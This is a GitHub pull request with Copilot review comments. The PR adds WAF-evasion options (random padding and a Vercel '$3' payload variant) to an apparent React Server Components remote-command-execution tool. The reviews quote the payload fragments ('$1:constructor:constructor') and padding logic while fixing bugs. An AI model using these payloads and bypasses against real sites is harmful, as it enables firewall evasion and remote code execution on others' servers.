Skip to content

Add WAF bypass from assetnote#2

Open
Artoria2e5 wants to merge 1 commit intomrknow001:masterfrom
Artoria2e5:master
Open

Add WAF bypass from assetnote#2
Artoria2e5 wants to merge 1 commit intomrknow001:masterfrom
Artoria2e5:master

Conversation

@Artoria2e5
Copy link

  • Add padding-based WAF
  • Add $3 Vercel WAF bypass
  • Add inputs for bypass options
  • Make form boundary dynamic

Copilot AI review requested due to automatic review settings December 7, 2025 07:05
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR adds WAF bypass capabilities to the RSC Security Tool based on techniques from assetnote's react2shell-scanner, including padding-based bypass and Vercel-specific WAF bypass using the $3 reference pattern.

Key changes:

  • Added UI inputs (padding size, Vercel bypass checkbox) for configuring WAF bypass options
  • Implemented dynamic form boundary generation and padding injection to evade WAF detection
  • Added support for Vercel WAF bypass using the $3 payload variant

Reviewed changes

Copilot reviewed 5 out of 5 changed files in this pull request and generated 11 comments.

Show a summary per file
File Description
popup.js Added input handling for padding and Vercel bypass parameters
popup.html Added form inputs (padding size, Vercel checkbox) with table-based layout
content.js Implemented WAF bypass logic with helper functions for random strings and form construction
README.md Documented new WAF bypass features in English
README_cn.md Documented new WAF bypass features in Chinese

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

content.js Outdated
].join('\r\n');
]
if (bypassVercel) {
bodyparts += [
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Variable name typo: bodyparts should be form to match the variable declared on line 69. This will cause a ReferenceError at runtime.

Suggested change
bodyparts += [
form += [

Copilot uses AI. Check for mistakes.
popup.html Outdated
Comment on lines 75 to 84
<th><label for="cmdInput" title="Command">CMD</label>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false">
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing closing tags for <th> and <td> elements. HTML tags should be properly closed for valid markup.

Should be:

<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td>
Suggested change
<th><label for="cmdInput" title="Command">CMD</label>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false">
<th><label for="cmdInput" title="Command">CMD</label></th>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td>
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb</td>
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td>

Copilot uses AI. Check for mistakes.
popup.html Outdated
.btn-scan:hover { background: #2980b9; }

.btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px; }
.btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px 0 15px; }
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[nitpick] Redundant padding specification 0 15px 0 15px can be simplified to 0 15px since the horizontal padding values are identical.

Suggested change
.btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px 0 15px; }
.btn-exploit { background: #e74c3c; border-radius: 0 4px 4px 0; padding: 0 15px; }

Copilot uses AI. Check for mistakes.
const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const bodyParts = [
// pad, vercel WAF bypass 逻辑来自 https://github.com/assetnote/react2shell-scanner
const formData = bypassVercel ? '"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The formData variable for the Vercel bypass case has incorrect JSON escaping. The value '"get":"$3:\"$$:constructor:constructor"}' will result in invalid JSON because the opening brace is missing. Should be:

const formData = bypassVercel ? '{"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';
Suggested change
const formData = bypassVercel ? '"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';
const formData = bypassVercel ? '{"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';

Copilot uses AI. Check for mistakes.
content.js Outdated
bodyparts += [
'Content-Disposition: form-data; name="3"',
'',
'{{"\\"\u0024\u0024":{{}}}}',
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The Vercel bypass payload has incorrect JSON escaping and structure. The double braces {{ are not valid JSON syntax. Based on the assetnote reference, this should likely be:

'{"\\"\\u0024\\u0024":{}}'

Please verify the correct payload format from the assetnote/react2shell-scanner reference.

Suggested change
'{{"\\"\u0024\u0024":{{}}}}',
'{"\\"\\u0024\\u0024":{}}',

Copilot uses AI. Check for mistakes.
content.js Outdated
Comment on lines 95 to 101
if (bypassVercel) {
bodyparts += [
'Content-Disposition: form-data; name="3"',
'',
'{{"\\"\u0024\u0024":{{}}}}',
`--${boundary}`,
]
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The Vercel bypass section has incorrect multipart form structure. When inserted before the final boundary marker (--${boundary}--), this will create an invalid multipart form. The Vercel bypass section should be inserted before line 92 (before the final boundary), and line 100 should use --${boundary} without the trailing --.

Copilot uses AI. Check for mistakes.
popup.html Outdated
Comment on lines 75 to 84
<th><label for="cmdInput" title="Command">CMD</label>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false">
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing closing tags for <th> and <td> elements. HTML tags should be properly closed for valid markup.

Should be:

<th><label for="cmdInput" title="Command">CMD</label></th>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td>
Suggested change
<th><label for="cmdInput" title="Command">CMD</label>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false">
<th><label for="cmdInput" title="Command">CMD</label></th>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td>
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb</td>
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td>

Copilot uses AI. Check for mistakes.
popup.html Outdated
Comment on lines 75 to 84
<th><label for="cmdInput" title="Command">CMD</label>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false">
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing closing tags for <th> and <td> elements. HTML tags should be properly closed for valid markup.

Should be:

<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb</td>
Suggested change
<th><label for="cmdInput" title="Command">CMD</label>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test">
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false">
<th><label for="cmdInput" title="Command">CMD</label></th>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td>
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb</td>
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td>

Copilot uses AI. Check for mistakes.
Comment on lines +73 to +74
const pad = +(el.padInput.value) || 0;
const bypassVercel = el.vercelInput.checked;
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

References to el.padInput and el.vercelInput are used but these elements are not defined in the el object at the top of the file. Add these element references to avoid runtime errors:

const el = {
    // ... existing elements
    padInput: document.getElementById('padInput'),
    vercelInput: document.getElementById('vercelInput')
};

Copilot uses AI. Check for mistakes.
content.js Outdated
Comment on lines 71 to 77
form += [
`--${boundary}`,
`Content-Disposition: form-data; name="${shortRandString()}"`,
'',
longRandString(pad * 1024),
`--${boundary}`,
];
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using += operator to concatenate arrays and an array literal will not work as expected. This will coerce the array to a string and concatenate it with a new array, resulting in invalid data. Use .push(...array) or the spread operator instead.

For example:

form.push(
    `--${boundary}`,
    `Content-Disposition: form-data; name="${shortRandString()}"`,
    '',
    longRandString(pad * 1024),
    `--${boundary}`
);
Suggested change
form += [
`--${boundary}`,
`Content-Disposition: form-data; name="${shortRandString()}"`,
'',
longRandString(pad * 1024),
`--${boundary}`,
];
form.push(
`--${boundary}`,
`Content-Disposition: form-data; name="${shortRandString()}"`,
'',
longRandString(pad * 1024),
`--${boundary}`
);

Copilot uses AI. Check for mistakes.
* Add padding-based WAF
* Add $3 Vercel WAF bypass
* Add inputs for bypass options
* Make form boundary dynamic
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 5 out of 5 changed files in this pull request and generated 5 comments.


💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

return Math.random().toString(36).substring(2).padEnd(12, '0');
}

// 随机的base64长字符串,长度为 bytes 字符
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment contains incorrect Chinese characters. "随机的base64长字符串,长度为 bytes 字符" should be "随机的base64长字符串,长度为 bytes 字节" since bytes refers to byte length, not character length.

Suggested change
// 随机的base64长字符串,长度为 bytes 字符
// 随机的base64长字符串,长度为 bytes 字节

Copilot uses AI. Check for mistakes.
.input-group { display: flex; margin-bottom: 8px; }
input[type="text"] { flex: 1; padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
input[type="text"]:focus { border-color: #3498db; }
td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The CSS selector change from input[type="text"] to td > input is too broad and will now apply these styles to all input types within table cells, including the number input and checkbox. This could cause unintended styling. Consider using a more specific selector:

td > input[type="text"], td > input[type="number"] { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
Suggested change
td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }
td > input[type="text"], td > input[type="number"] { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; }

Copilot uses AI. Check for mistakes.
// 随机的base64长字符串,长度为 bytes 字符
function longRandString(bytes) {
const length = bytes;
const buf = new Uint8Array((length * 3 + 2) / 4); // Base64 编码后长度是原来的 4/3
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The longRandString function has an incorrect calculation for the buffer size. The formula (length * 3 + 2) / 4 is attempting to reverse the Base64 encoding ratio, but this will create a buffer that's too small. For a desired Base64 output of length characters, you need:

const buf = new Uint8Array(Math.ceil((length * 3) / 4));

However, the current implementation will likely fail or produce incorrect lengths because the buffer is undersized.

Suggested change
const buf = new Uint8Array((length * 3 + 2) / 4); // Base64 编码后长度是原来的 4/3
const buf = new Uint8Array(Math.ceil((length * 3) / 4)); // Base64 编码后长度是原来的 4/3

Copilot uses AI. Check for mistakes.
Comment on lines +73 to +87
<table style="flex: 4">
<tr>
<th><label for="cmdInput" title="Command">CMD</label></th>
<td><input type="text" id="cmdInput" placeholder="Command (echo vulnerability_test)" value="echo vulnerability_test"></td>
</tr>
<tr>
<th><label for="padInput" title="Anti-WAF padding (kb)">Pad</label></th>
<td><input type="number" id="padInput" placeholder="Anti-WAF padding (kb)" value="128">&nbsp;kb</td>
</tr>
<tr>
<th><label for="vercelInput" title="Bypass Vercel WAF">Vercel</label></th>
<td><input style="flex:1" type="checkbox" id="vercelInput" value="false"></td>
</tr>
</table>
<button id="btnExploit" class="btn-exploit" style="flex: 1">EXEC</button>
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[nitpick] Inline styles on structural elements reduce maintainability. The style="flex: 4" and style="flex: 1" attributes should be moved to CSS classes for better separation of concerns and maintainability.

Copilot uses AI. Check for mistakes.

// 12字符[a-z0-9]
function shortRandString() {
return Math.random().toString(36).substring(2).padEnd(12, '0');
Copy link

Copilot AI Dec 7, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The shortRandString function may not always return exactly 12 characters. The Math.random().toString(36).substring(2) produces a variable-length string (typically 10-11 characters), and padEnd(12, '0') only pads if it's shorter. However, if the random string is already 12+ characters (rare but possible), it won't be truncated. Consider adding .slice(0, 12) to ensure exactly 12 characters:

return Math.random().toString(36).substring(2).padEnd(12, '0').slice(0, 12);
Suggested change
return Math.random().toString(36).substring(2).padEnd(12, '0');
return Math.random().toString(36).substring(2).padEnd(12, '0').slice(0, 12);

Copilot uses AI. Check for mistakes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant